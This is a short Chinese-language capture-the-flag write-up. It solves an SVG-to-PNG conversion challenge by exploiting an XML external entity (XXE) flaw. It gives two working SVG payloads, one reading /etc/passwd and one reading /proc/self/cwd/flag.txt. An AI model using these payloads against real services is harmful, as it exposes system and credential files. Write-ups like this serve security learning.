打开题目
给了提示,使用魔法将svg转换成png,搜索了一下svg
是一种XML标记语言,既然是XML,就可能存在XXE漏洞
构造一个XML外部实体注入(XXE)攻击,尝试一下
<!ENTITY file SYSTEM "file:///etc/passwd" > 定义一个外部实体 file任意文件读取,读取/etc/passwd用户配置文件
在SVG部分中,&file; 通过文本引用该实体,试图将文件的内容嵌入到SVG输出中。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="300" width="300">
<text x="30" y="30">&file;</text>
</svg>
上传发现可以正常读取
然后构造读取flag
/proc 文件系统:它是一个虚拟文件系统,提供了运行时系统信息,如进程信息、内存状态、系统配置等。
/proc/self:它是指当前正在访问该路径的进程自身。无论哪个进程访问 /proc/self,它总是指向调用者进程的 /proc/[pid] 目录。
cwd:代表“current working directory”(当前工作目录)。当你访问 /proc/self/cwd/ 时,你实际上是在查看当前进程的工作目录。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="300" width="3000">
<text x="30" y="30">&file;</text>
</svg>
上传得到flag